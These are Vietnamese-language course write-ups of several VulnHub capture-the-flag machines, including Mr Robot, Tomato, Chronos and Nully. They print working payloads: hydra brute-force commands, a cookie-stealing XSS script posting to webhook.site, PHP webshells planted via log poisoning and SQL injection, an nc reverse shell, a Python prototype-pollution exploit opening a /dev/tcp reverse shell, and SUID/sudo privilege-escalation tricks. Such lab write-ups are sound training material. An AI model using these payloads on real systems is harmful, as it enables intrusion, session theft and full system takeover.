# Tấn công phòng thủ hệ thống
## Lab2: Mr Robot
### Chuẩn bị:
- 1 máy kali
- update công cụ wpscan
- tải lab tại [đây](https://www.vulnhub.com/entry/mr-robot-1,151/)
### Setup:
- Dùng vmware mở challenge

- Setting máy mr robot và máy kali cùng card mạng host only.
### Recon
Dùng `sudo arp-scan -l` để scan ip của taget.

Từ đó phát hiện ra taget ở địa chỉ ip 192.168.126.128 có mở các port 80 và 443


Dùng dirsearch phát hiện ra được web còn có một trang wordpress.

`wpscan` ngay

có cả `robots.txt` vậy thì go thôi

### Khai thác
Vào ngay trang `robots.txt` đọc được ngay 1 trang chứa key 1-3.
vậy là chall này sẽ có 3 flag để tìm.
Truy cập vào `key-1-of-3.txt` có ngay được flag đầu tiên.

Đến đây chắc phải tìm sang trang wp thôi.
Thử dùng tài khoản mật khẩu mặc định(`admin:password`) để đăng nhập vào nhưng không được.
đoạn này khá lmao vì không hiểu tại sao họ tìm được `fsocity.dic` tải về chính xác là wordlist vì nó khá khả nghi.


Sử dụng `hydra` để tấn công vũ phu username và password =))
`hydra -V -L ./fsocity.dic -p test 192.168.126.128 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.126.128%2Fwp-admin%2F&testcookie=1:Invalid username"
`
Ngay đây ta đã tìm được username là Elliot.

Tuy nhiên với kinh nghiệm chơi ctf thì một người bạn của mình đã bảo rằng chúng nó sẽ để 1 cái ở đầu 1 cái ở giữa và 1 cái ở cuối. Sau lần đâu brute force được username ở đầu mình thử tiếp tục làm tương tự với password nhưng mất rất nhiều thời gian. Vậy nên mình đã lật ngược wordlist lại sau đó chạy tìm password.
`tac ./fsocity.dic > ./new_fsoc.dic`
Và đây là kết quả:
`hydra -V -l elliot -P ./new_fsoc.dic 192.168.126.128 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.103%2Fwp-admin%2F&testcookie=1:incorrect"`

Sau khi tìm được username và password( elliot:ER28-0652) ta thử đăng nhập vào wordpress.
Mày mò một chút ta đã tìm ngay ra nơi có thể chỉnh sửa nội dung của trang.

web chạy php vì vậy ta có thể lên ngay [pentestmonkey](https://pentestmonkey.net/tools/web-shells/php-reverse-shell) tải revert shell về
update lại file 404.

lắng nghe mùa xuân về:


chạy lệnh
`python -c "import pty; pty.spawn('/bin/bash')"`
sau khi đã revert shell được rồi thì tìm kiếm file key tiếp theo thôi.

tuy nhiên file này chỉ cho phép người chủ sở hữu đọc.
Cùng file đó có file password md5


nhận ra đây chính là mật khẩu cho người dùng robot. Vậy nên đăng nhập vào robot và dùng su để đọc file key 2 of 3

vậy là chúng ta lấy được key thứ 2
`822c73956184f694993bede3eb39f959`
key thứ 3 chắc chắn chúng ta sẽ phải leo lên quyền root.
tìm những file với quyền cao để ta khai thác:
`find / -perm /4000 -type f 2>/tmp/2`

trong đây khả nghi nhất có file nmap này. Theo tìm hiểu thì đây có thể là một tệp nhị phân dùng để nâng quyền của mình.
cú pháp:
`nmap --interactive`

thật bất ngờ làm sao.

ta đã lấy được tất cả flag của chall này.
`04787ddef27c3dee1ee161b21670b4e4`
## lab3: Tomato
### Chuẩn bị:
- 1 máy kali card mạng nat
- tải machine của challenge lại [đây](https://www.vulnhub.com/entry/tomato-1,557/)
- mở machine bằng vm và cài card mạng nat.
### Recon
từ máy kali scan ip của target
`sudo apr-scan -l`

phát hiện được taget ở ip `192.168.74.148`

dùng `dirb http://192.168.74.148 -f` để liệt kê các thư mục trong port 80(http).

### Khai thác
truy cập ngay vào `antibot_image`


mày mò một lúc thì thấy trong code của info.php có đoạn code này bị conmment lại

Có thể nó gọi ý cho ta về lỗ hổng lfi
Thử truyền vào địa của của `/etc/passwd` tại tham số image xem sao.

vậy là ta đã confirm được lỗ hổng LFI
Từ LFI có một con đường để RCE đó chính là sử dụng `auth.log`
> Auth.log sẽ lưu nhật kí truy cập vào hệ thống. Nếu đăng nhập thông qua giao diện chính hay qua SSH thành công hay thất bại đều được lưu tại dây. Ví dụ nếu đăng nhập sai nhiều lần: log sẽ nhjư sau:
> `user unknown Oct 18 08:59:17 ubuntu sshd[916]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.10 Oct 18 08:59:20 ubuntu sshd[916]: Failed password for invalid user abcd from 192.168.1.10 port 54254 ssh2`
- Vậy giờ ta sẽ tiến hành giả mạo đăng nhập SSH nhằm mục đích `viết payload` của chúng ta vào file `auth.log` sau đó lợi dụng LFI để `include file log` đó vào trang `info.php` để sử dụng payload của mình tại trang `info.php`
Bắt tay vào làm thôi:
- Giả mạo ssh để ghi log. `ssh '<?php system($_GET["cmd"]);?>'@192.168.74.148. -p 2211
`
tuy nhiên ssh đã ngăn chặn nó bằng cách không cho truyền những kí tự đặc biệt vào username

Mình sử dụng bitvise để đăng nhập ssh với username và password. có thể dùng parrot không bị cái này.

Ngay sau khi ghi được vào log thì truyền vào thêm tham số `cmd = id` xem nó có hoạt động không.

Khi confirm được rằng log hoạt động thì ta dùng tạo một `shell`(lên pentestmonkey tải thôi) trên máy kali và build một web-server `python3 -m http.server 8081`
Từ web ta đã RCE được thực hiện `download shell` về.


`wget http://192.168.74.141:8081/shell.php -O /tmp/shell.php`
Tải shell về máy target xong ta truy cập để kích hoạt webshell.


nâng cấp shell:
`python3 -c 'import pty; pty.spawn("/bin/bash")'`
Từ phiên bản kernel bên trên phát hiện ra nó có lỗ hổng cho phép leo thang đặc quyền.
Tải [mã khai thác](https://www.exploit-db.com/raw/45010)
và biên dịch trước trên máy của attacker.
> kiểm tra phiên bản GLIBC trên máy biên dịch có cùng bản với máy target không. vì nếu Phiên bản trên máy attacker quá cao thì khi tải lên trên máy target sẽ không thể chạy được.
```
wget https://www.exploit-db.com/raw/45010 -O exploit.c
gcc exploit.c -o exploit
chmod +x exploit
```

tìm một chỗ để viết shell lên thì thấy có mỗi `tmp` khả thi.

Tải file về thư mục `tmp` sau đó chạy leo quyền và vậy là ta đã hoàn thành lab này.

## lab4: XSS and Mysql file
### Chuẩn bị:
- 1 máy kali
- machine lab tải tại [đây](https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/)
- Cài đặt lab cùng mạng với máy kali.
### Recon:
`sudo arp-scan -l` cơ bản để tìm được ip của target.

Tiếp tục nmap trên địa chỉ ip đó:
`sudo nmap -sS -sV -p- 192.168.74.148`
chall có 1 cổng ssh và 1 cổng http:

dirsearch cũng không có gì thú vị nên ta vào luôn cổng http xem có gì
### Khai thác

trang chủ có mỗi admin và comment là đáng chú ý
Trang admin yêu cầu username và pass. Tuy nhiên chưa tìm thấy ở đâu cả nên ta sẽ quay lại sau.
Phần comment chỉ thử một chút đã thấy ngay lỗ hổng XSS.

Vậy ta sử dụng `webhook` và một payload đơn giản để giăng bẫy chờ lấy session của nạn nhân thôi.
`<script>location.href='https://webhook.site/2e852529-c176-4fd2-9566-dd91bf911340?xxx='+document.cookie;</script>`
Sau khi gửi lên và thử nghiệm thì khá thành công khi ta đã nhận được cookie của chính bản thân khi truy cập trang. Tuy nhiên vẫn phải chờ bot vào để ta lấy cắp cookie của chúng.

Lần đầu mình dùng webhook không hiểu sao không bắt được bot mà còn phải reset lại chall.
Giờ mình sẽ thử host server tại local.

rất nhanh sau khi mình dựng server tại local thì nó lại bắt được con bot
Đổi cookie của máy thành cookie bot cho. Vậy là ta đã có thể truy cập trang admin được rồi.

Trong trang admin khi chọn chức năng `edit` mình đã thấy ngay một điều đặc biệt đó là tham số id truyền vào là 1. Và khi chuyển nó sang 2 nó sẽ cho ta một trang khác để edit.


Mình Thử các số âm hoặc các số lớn hơn thì đều không được nhưng khi mình thử truyền vào chữ thì đã có lỗi xảy ra.

Quá tuyệt vời. Mình có thể nhận định đây là một lỗ hổng SQL injection.
Sử dụng `sqlmap` để khai thác lỗ hổng này.( Cần cung cấp cả cookie cho nó nữa)
`sqlmap -u "http://192.168.74.149/admin/edit.php?id=1" --cookie=PHPSESSID=j82v8kc3kvmck8mta850ajpf13`

Confirm lỗi. Giờ ta lấy dữ liệu trong db xem có gì không.


crack password ta được password của admin.
`P4ssw0rd`
Dùng nó có thể đăng nhập vào trang admin. ( Không cần thiết lắm nhưng vẫn là lộ lọt thông tin.)
Sau khi đi nghiên cứu thêm 1 vài write up nữa thì mình phát hiện ra mình bỏ sót một Lỗi upload file tùy ý.
Tận dụng lỗ hổng `sql injeciton` sử dụng payload `0 union select 1,2,”<?php system($_GET[‘c’]); ?>”,4 into outfile ‘/var/www/css/shell.php’`
Đường dẫn đến css có thể được tìm thấy trong quá trình `dirsearch` và sau đó cố gắng lợi dụng SQL injection để ghi file từng địa chỉ tìm được. Đến địa chỉ CSS thì đã thành công ghi được shell vào. Vậy là bú. ( Đấy là mình nghĩ thế. Hoặc có cách khác để tìm được đường dẫn nào ghi được file nhanh hơn thì mình không biết. Nếu bạn biết thì chỉ cho mình với)

## lab5: Chronos: 1
### settup
- virtualbox mở challenge
- setting card mạng của máy challenge 
- setting máy hacker Bridged đến card mạng của máy challenge.
### Recon
`sudo arp-scan -l`

phát hiện được ip của target
scan nmap trên ip đó:

Target có mở cổng dịch vụ http và ssh nên ta sẽ dirsearch luôn cổng http của nó.

cả 2 cổng đều chẳng có gì cả.
Web tại cổng `:80`

trông không có gì cả
Web tại cổng `:8000`

cũng không có gì nhưng đọc source cả 2 web đều thấy có đoạn script khá khả nghi
```

```
Vào `/etc/hosts` thêm ngay ip và hostname vào

Giờ đây truy cập vào web nó đã hiển thị cho chúng ta thời gian của máy

Giờ thử thêm đoạn tham số khả nghi ta tìm được ở phần bên trên
`date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL`

Web bảo chúng ta không có quyền. Thử gửi tham số linh tinh thì phát hiện được giá trị string đằng sau là `base 58`

Giải mã đoạn tham số ban đầu:

Có thể đoán được là ứng dụng có thể đang gọi câu lệnh thực thi và in ra thời gian.

Vậy nên có thể thử fuzz tại tham số `format` cho lỗ hổng `command injection`
sau một hồi loay hoay không thể truyền được
`;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.102 4444 >/tmp/f;`
encode base 58 đoạn trên rồi gửi lên server. Không chỉ vậy, mà còn cần thay đổi cả `User-agent: Chronos`


Vậy là ta đã có shell trên máy target.
Có một user là `imera` Trong đó có file `user.txt` tuy nhiên chưa đọc được.

Mày mò trên máy target `chronos` một lúc không có gì. Phát hiện ra cùng nơi lưu trữ nó có một folder nữa là `chronos-v2`

trong đó có backend và frontend
Backend có ngay em `server.js` ngọt nước

Tại đó có một trình xử lý upload `express-fileupload`.

Giờ thử kiểm tra xem nó còn hoạt động không:

Nó vẫn hoạt động tại localhost port 8080
Và phiên bản của nó được tìm thấy trong `package.json`

Tìm kiếm 1 lúc thì may mắn sao chúng ta có 1 cve uploadfile rce liên quan đến `express-fileupload` phiên bản 1.1.7
poc:
```
### imports
import requests
### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/5555 0>&1"'
print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
```
Lưu lại với tên là `poc.py`. Build trên máy attacker, dựng server python rồi lên máy target lưu vào trong tệp `tmp`

Mở một tab `nc -lpvn 5555` trên máy attacker
Sau đó chạy `python3 poc.py` trên máy target


Vậy mà chúng ta đã vào được account của `imera`
Mật khẩu của imera là xong.

## lab6: Knock knock
### Chuẩn bị
Vẫn cứ là chuẩn bị 1 máy kali 1 machine bình thường kết nối mạng với nhau.
### Recon

biết được ip của máy target là `192.168.75.129` do ip .1 và .2 là của máy chủ và gateway. .254 là của mạng quảng bá.
Thực hiện nmap trên ip target.

Ra được web trên có mở port 1337. Tuy nhiên nmap đã bị chặn scan version và OS.
Thử telnet đến port 1337 của ip target.

Máy chủ trả về mỗi lần 3 con số khác nhau ngẫu nhiên.
Liên quan đến đề bài, có một kỹ thuật là `port knocking` nó giúp kiểm soát truy cập vào một cổng dịch vụ đang chạy trên máy chủ.
Nếu đúng trình tự kết nối thì tường lửa sẽ mở cổng bị đóng.
Sử dụng tool để tự động mở khóa tất cả các cổng:
Tool tại [đây](https://github.com/ankh2054/linux-pentest/blob/master/knock-knock.sh)
Thêm quyền thực thi cho tool và chạy thôi

Giờ đây chúng ta có thêm 2 port nữa được mở ra.


Cả web không có gì cả. Có mỗi bức ảnh `knockknock.jpg`
Tải nó về và xem nội dung ảnh bằng `strings`

Có thể đây chính là mật khẩu của ssh.
Decode rot13 ta được output hơi xấu, nhưng khi chúng ta đảo ngược lại thì chính là Json và password của nó.

`Jason:jB9jP2knf`

Sau khi ssh thành công, ta thấy có một chương trình `tfc` có quyền SUID

Shell của json là rbash. Chạy `!/bin/bash` trong ftp đã thoát được ra khỏi rbash

`tfc` cần 2 tham số là file đầu vào và đầu ra với đuôi .tfc . Dựa theo tên chương trình là `Tiny File Crypter`, nó có thể mã hóa nội dung tệp vào và lưu vào tệp ra.

Encryp 1 lần nữa file output ta sẽ được bản rõ.

Thử ghi nội dung vào file xem nó có bị Buffer Overflow không.

Vậy là có tiồn tại.
## lab7: Nully
### Chuẩn bị
- reboot lại challenge đổi card mạng và đổi lại password.
### Recon
- scan ip của máy target:

- scan nmap

### Tấn công
vào web của target.

Theo thông báo, không được phép tấn công cổng 80, 8000, 9000. => Còn mỗi 110 (mail) và 2222 (ssh) để tấn công. Hệ thống có 3 máy chủ là Mail, Web và Database. Máy chủ mail mở ra ngoài nên tấn công máy chủ Mail trước
Tấn công vào mail server port 110
`pentester:qKnGByeaeQJWTjj2efHxst7Hu0xHADGO`

đăng nhập thành công.Nhập lệnh `LIST` phát hiện ra 1 tin nhắn
Đọc tin nhắn đó bằng `RETR 1`

Nội dung mail là người dùng có tên "Bob Smith" gửi thông báo về việc ông ấy quên mật khẩu và ông ấy chắc chắn mật khẩu ông ấy đơn giản => Brute force
Dùng tool tạo lên những username từ tên `Bob Smith`

giờ dùng `hydra` brute force password.

tìm được uname và pass là `bob:bobby1985`
SSH vào tài khoản đó để kiểm tra:

SSH thành công.

Sudo -l để check quyền của bob.
Nhận thấy người dùng `bob` có thể thực thi tệp tin tệp `check.sh` với quyền của người dùng `my2user` mà không cần `mật khẩu`. Ngoài ra tệp `check.sh` thuộc sở hữu của bob và có quyền chỉnh sửa nên có thể ghi thêm vào file => Ghi thêm `/bin/bash` vào đầu file rồi chạy với quyền của người dùng `my2user` thì sẽ mở 1 bash mới với quyền của `my2user`

LEo quyền

Leo lên `my2user` thành công.

Kết quả cho thấy có thể chạy lệnh zip với quyền root mà không cần mật khẩu. Ở trong lệnh zip có options --unzip-command có thể chạy lệnh hệ thống với quyền của người chạy song song với quá trình zip file => Ý tưởng vẫn chèn bash vào options trên để mở 1 bash mới với quyền root

Đọc flag thành công.


















































